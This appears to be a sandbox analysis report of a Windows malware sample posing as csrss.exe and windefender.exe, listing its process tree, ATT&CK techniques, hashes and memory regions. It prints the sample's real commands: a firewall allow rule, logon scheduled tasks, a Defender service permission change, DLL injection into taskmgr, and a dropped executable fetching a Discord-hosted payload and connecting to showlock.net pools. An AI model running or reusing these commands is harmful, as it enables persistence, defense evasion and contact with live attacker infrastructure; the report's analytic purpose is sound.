PID 4172 wrote to memory of 2724	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	84
PID 4172 wrote to memory of 2724	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	84
PID 4172 wrote to memory of 2724	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	84
PID 4172 wrote to memory of 528	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	86
PID 4172 wrote to memory of 528	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	86
PID 4172 wrote to memory of 528	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	86
PID 4172 wrote to memory of 5088	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	88
PID 4172 wrote to memory of 5088	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	88
PID 4172 wrote to memory of 5088	4172	233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe	88
PID 5088 wrote to memory of 1936	5088	csrss.exe	89
PID 5088 wrote to memory of 1936	5088	csrss.exe	89
PID 5088 wrote to memory of 1936	5088	csrss.exe	89
PID 5088 wrote to memory of 1316	5088	csrss.exe	108
PID 5088 wrote to memory of 1316	5088	csrss.exe	108
PID 5088 wrote to memory of 1316	5088	csrss.exe	108
PID 5088 wrote to memory of 2276	5088	csrss.exe	98
PID 5088 wrote to memory of 2276	5088	csrss.exe	98
PID 5088 wrote to memory of 2276	5088	csrss.exe	98
PID 5088 wrote to memory of 2164	5088	csrss.exe	100
PID 5088 wrote to memory of 2164	5088	csrss.exe	100
PID 2068 wrote to memory of 2676	2068	windefender.exe	107
PID 2068 wrote to memory of 2676	2068	windefender.exe	107
PID 2068 wrote to memory of 2676	2068	windefender.exe	107
PID 2676 wrote to memory of 1316	2676	cmd.exe	108
PID 2676 wrote to memory of 1316	2676	cmd.exe	108
PID 2676 wrote to memory of 1316	2676	cmd.exe	108
PID 5088 wrote to memory of 3184	5088	csrss.exe	111
PID 5088 wrote to memory of 3184	5088	csrss.exe	111
PID 5088 wrote to memory of 3184	5088	csrss.exe	111
PID 5088 wrote to memory of 2492	5088	csrss.exe	113
PID 5088 wrote to memory of 2492	5088	csrss.exe	113
PID 5088 wrote to memory of 2492	5088	csrss.exe	113
PID 5088 wrote to memory of 2172	5088	csrss.exe	115
PID 5088 wrote to memory of 2172	5088	csrss.exe	115
PID 5088 wrote to memory of 2172	5088	csrss.exe	115
PID 5088 wrote to memory of 2872	5088	csrss.exe	117
PID 5088 wrote to memory of 2872	5088	csrss.exe	117
PID 5088 wrote to memory of 2872	5088	csrss.exe	117
PID 5088 wrote to memory of 4320	5088	csrss.exe	119
PID 5088 wrote to memory of 4320	5088	csrss.exe	119
PID 5088 wrote to memory of 4320	5088	csrss.exe	119
PID 5088 wrote to memory of 1476	5088	csrss.exe	121
PID 5088 wrote to memory of 1476	5088	csrss.exe	121
PID 5088 wrote to memory of 1476	5088	csrss.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
"C:\Users\Admin\AppData\Local\Temp\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3880
- C:\Users\Admin\AppData\Local\Temp\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe
  "C:\Users\Admin\AppData\Local\Temp\233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:336
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:524
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:3244
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:528
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1936
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4604
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:4576
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2276
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2164
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1688
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2676
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3184
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:2492
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2172
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:2872
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:4320
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:1476

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:64

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjjo2t1s.q12.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
2.0MB

MD5
1bf850b4d9587c1017a75a47680584c4

SHA1
75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

SHA256
ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

SHA512
ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
2476228b524bd14d44cbe954529e7ad0

SHA1
bd529a307c604ff3865d6a0fa7fb7a12e59b0a0b

SHA256
4d2e4113d17eefcd049ff31b551bc5992860f6bee046ca87233d1aab61e618ec

SHA512
99a8e4c42dde0f795e902eb661fc1542b9609cfed509225d875238c9dfc2daa101092fb1fddbb2fe7bff922de6b8db294fc9e0ebee21f064eee7b160acea6ae6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
f051ee744fa908a28940fc55aa1775fb

SHA1
2fe6dafc991eeb90b6c844d274a0d21fffd60121

SHA256
94d8fbba33e459d61803719e9bfb96604cf98c4913e3e1ab8473e70a2825484d

SHA512
230c762530e2ba3f08ab0ec89a30df8e030997eecc2fd44f557dc47ea8404351910a6b7c1c05d0038b906144a02ffc72e11c7a0b6d8559065631b79591df7143

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
c4230d6a5277801209d5034b5bf7ca22

SHA1
dcfceadbe56d0bad7d3604bf0fe9daa67e48244f

SHA256
973dbc699aa9730b877f8717f6c42f2e99a63e125983ef4048de1460c5aadcbb

SHA512
86f7e3b1f276603461531b1d32fb1d5216c0faafd7c574f2c8eeef86beff17f5b1e9dbd14bef86b69353792d95962370087e779cd7a79c5218372d2baddcd9e3

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
2e0ee32a307676fbd924c99bc4b220b0

SHA1
070c2ab8dcf7eaaaaef674cfb975a08f216947db

SHA256
7c18af1e40be1256ba754c9f94488338c0029b2a8f144676110d641f3af4cfae

SHA512
d66d063ba9834ccc993eda6daf8647378d1154977335d0086b51a57a30e5682a6ebdca97fc4bb884e7a5924387c3893948f81e408c0c9b9d8e473f02d1c6c088

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
267115d7320e5418a0de0e5228102d10

SHA1
86fd2625c9f13168e4848f293227e66adb887e66

SHA256
06a0610a796437a83e202c5f7a5dc6c2773d737f57783de99d0915f5c10d6dba

SHA512
9b493cd5e55c4bb16e5bde2132dba789a66415cbd5acde769e59161e23f52ad7d49194d77ecda9589de16b7aaf331703b5d6b0e93bf5bbd0fad5fe4443654d70

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
60f2f338ecfad8bcb9d5a20f4482ef27

SHA1
838d0fd63c569087cb4ebda344001021b546d19c

SHA256
61fd54edd80a21192a66875c570f7591ad3113a6a802907e0db3032a5ce999b8

SHA512
b633ce92d8ae4a7934ff793c50dc2f7dd32c9c8b3e09980d2002c1cea1c8f098db72bd5cd68539eacfd4ba7e2241b9eb54cdd5d8726fdef1c1988ed0ca5fdac0

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
1f8a191a0ad7ac78f44ec17b46e7d47e

SHA1
060750e74295f81e0ffd4a5ddefde2cb9fde7796

SHA256
666c55bf59cb72afd85f641475f0b85c57847c3e52924f2626b4a063e87d798f

SHA512
3301a06a9ac4469536dba9f1cdfabb13cac5aa429c26f63adcc82d1069e2056dac3c6af8aff7ecbbd2b72d4003d6c4415b9a3c4407e7099633f3954bf244dc20

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
f09ff00af6b7d7c2fc68c7656d719e1c

SHA1
715d53e7095ccca79492cae9cb7cbc0d68494f42

SHA256
91ddd30ec40fcee0dc25badc92a3782173bcf9b6b293f60451e1c98041de4649

SHA512
a4e6b7442bd8f85924dbe29e2b7391c055f276c2cddf05bd0dd92f4163d0b1b9dd46376b65680a3603131e50afa3688edf875e858a1e5518c73db4ed78d9a242

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.1MB

MD5
b60c570e26b7a8c5623ae564db51f61e

SHA1
09bd0c38bf8a6884b4982c63c817077f8d1ac56b

SHA256
233d0a9054f953119ea58c014c8559b745ece8f2cc16d3673f439f023f93863d

SHA512
d96c2c3a6143d22c3ee72d60bf438f3dced25fe86125c3c75404444394b37b22c64fcccb18ceda4bf469f7bec250b38114d1b01fe3c5f464da2ad49f5a4ad9b3

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/64-1752-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/64-1765-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/64-1759-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/64-1755-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/336-333-0x0000000009CB0000-0x0000000009D55000-memory.dmp

Filesize
660KB

Download
memory/336-328-0x0000000070850000-0x0000000070BA0000-memory.dmp

Filesize
3.3MB

Download
memory/336-327-0x00000000707E0000-0x000000007082B000-memory.dmp

Filesize
300KB

Download
memory/336-308-0x0000000008790000-0x00000000087DB000-memory.dmp

Filesize
300KB

Download
memory/336-307-0x0000000008180000-0x00000000084D0000-memory.dmp

Filesize
3.3MB

Download
memory/528-802-0x0000000070830000-0x0000000070B80000-memory.dmp

Filesize
3.3MB

Download
memory/528-801-0x00000000707E0000-0x000000007082B000-memory.dmp

Filesize
300KB

Download
memory/1316-1286-0x0000000070690000-0x00000000706DB000-memory.dmp

Filesize
300KB

Download
memory/1316-1292-0x0000000009720000-0x00000000097C5000-memory.dmp

Filesize
660KB

Download
memory/1316-1265-0x0000000007CF0000-0x0000000008040000-memory.dmp

Filesize
3.3MB

Download
memory/1316-1287-0x00000000706E0000-0x0000000070A30000-memory.dmp

Filesize
3.3MB

Download
memory/1316-1267-0x00000000086D0000-0x000000000871B000-memory.dmp

Filesize
300KB

Download
memory/1476-2532-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1476-2537-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1936-1049-0x0000000070790000-0x0000000070AE0000-memory.dmp

Filesize
3.3MB

Download
memory/1936-1054-0x0000000009460000-0x0000000009505000-memory.dmp

Filesize
660KB

Download
memory/1936-1029-0x0000000007EF0000-0x0000000007F3B000-memory.dmp

Filesize
300KB

Download
memory/1936-1027-0x0000000007830000-0x0000000007B80000-memory.dmp

Filesize
3.3MB

Download
memory/1936-1048-0x0000000070740000-0x000000007078B000-memory.dmp

Filesize
300KB

Download
memory/2068-1753-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2068-1749-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2172-2075-0x00000000705F0000-0x0000000070940000-memory.dmp

Filesize
3.3MB

Download
memory/2172-2074-0x00000000705A0000-0x00000000705EB000-memory.dmp

Filesize
300KB

Download
memory/2276-1527-0x00000000706E0000-0x0000000070A30000-memory.dmp

Filesize
3.3MB

Download
memory/2276-1526-0x0000000070690000-0x00000000706DB000-memory.dmp

Filesize
300KB

Download
memory/2492-2054-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/2492-2049-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/2724-566-0x00000000707E0000-0x000000007082B000-memory.dmp

Filesize
300KB

Download
memory/2724-567-0x0000000070830000-0x0000000070B80000-memory.dmp

Filesize
3.3MB

Download
memory/2724-546-0x00000000079B0000-0x0000000007D00000-memory.dmp

Filesize
3.3MB

Download
memory/2872-2292-0x0000000000800000-0x00000000010CD000-memory.dmp

Filesize
8.8MB

Download
memory/2872-2536-0x0000000000800000-0x00000000010CD000-memory.dmp

Filesize
8.8MB

Download
memory/2924-303-0x0000000002E10000-0x00000000036FB000-memory.dmp

Filesize
8.9MB

Download
memory/2924-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2924-302-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2924-1-0x0000000002A00000-0x0000000002E06000-memory.dmp

Filesize
4.0MB

Download
memory/2924-2-0x0000000002E10000-0x00000000036FB000-memory.dmp

Filesize
8.9MB

Download
memory/3184-1807-0x0000000008700000-0x000000000874B000-memory.dmp

Filesize
300KB

Download
memory/3184-1826-0x00000000705A0000-0x00000000705EB000-memory.dmp

Filesize
300KB

Download
memory/3184-1827-0x00000000705F0000-0x0000000070940000-memory.dmp

Filesize
3.3MB

Download
memory/3184-1832-0x0000000009750000-0x00000000097F5000-memory.dmp

Filesize
660KB

Download
memory/3184-1805-0x0000000007D40000-0x0000000008090000-memory.dmp

Filesize
3.3MB

Download
memory/3880-7-0x0000000004FC0000-0x0000000004FF6000-memory.dmp

Filesize
216KB

Download
memory/3880-8-0x0000000007750000-0x0000000007D78000-memory.dmp

Filesize
6.2MB

Download
memory/3880-83-0x00000000739B0000-0x000000007409E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-76-0x0000000070710000-0x0000000070A60000-memory.dmp

Filesize
3.3MB

Download
memory/3880-75-0x00000000739B0000-0x000000007409E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-82-0x000000000A440000-0x000000000A4E5000-memory.dmp

Filesize
660KB

Download
memory/3880-35-0x0000000008A30000-0x0000000008A6C000-memory.dmp

Filesize
240KB

Download
memory/3880-6-0x00000000739BE000-0x00000000739BF000-memory.dmp

Filesize
4KB

Download
memory/3880-77-0x000000000A3E0000-0x000000000A3FE000-memory.dmp

Filesize
120KB

Download
memory/3880-74-0x00000000706C0000-0x000000007070B000-memory.dmp

Filesize
300KB

Download
memory/3880-300-0x00000000739B0000-0x000000007409E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-282-0x000000000A5B0000-0x000000000A5B8000-memory.dmp

Filesize
32KB

Download
memory/3880-66-0x00000000095A0000-0x0000000009616000-memory.dmp

Filesize
472KB

Download
memory/3880-84-0x000000000A640000-0x000000000A6D4000-memory.dmp

Filesize
592KB

Download
memory/3880-9-0x00000000739B0000-0x000000007409E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-10-0x00000000739B0000-0x000000007409E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-11-0x00000000076C0000-0x00000000076E2000-memory.dmp

Filesize
136KB

Download
memory/3880-13-0x0000000008040000-0x00000000080A6000-memory.dmp

Filesize
408KB

Download
memory/3880-12-0x0000000007DF0000-0x0000000007E56000-memory.dmp

Filesize
408KB

Download
memory/3880-14-0x00000000080B0000-0x0000000008400000-memory.dmp

Filesize
3.3MB

Download
memory/3880-15-0x0000000008460000-0x000000000847C000-memory.dmp

Filesize
112KB

Download
memory/3880-16-0x0000000008770000-0x00000000087BB000-memory.dmp

Filesize
300KB

Download
memory/3880-73-0x000000000A400000-0x000000000A433000-memory.dmp

Filesize
204KB

Download
memory/3880-277-0x000000000A5C0000-0x000000000A5DA000-memory.dmp

Filesize
104KB

Download
memory/4172-1022-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4320-2315-0x00000000705F0000-0x0000000070940000-memory.dmp

Filesize
3.3MB

Download
memory/4320-2314-0x00000000705A0000-0x00000000705EB000-memory.dmp

Filesize
300KB

Download
memory/5088-1756-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1796-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1798-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1800-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1802-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1794-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1792-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1790-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1788-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1786-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1784-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1782-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1780-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1778-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1776-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1774-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1772-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1770-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1768-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1766-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1764-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1762-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1760-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-2531-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/5088-1758-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB
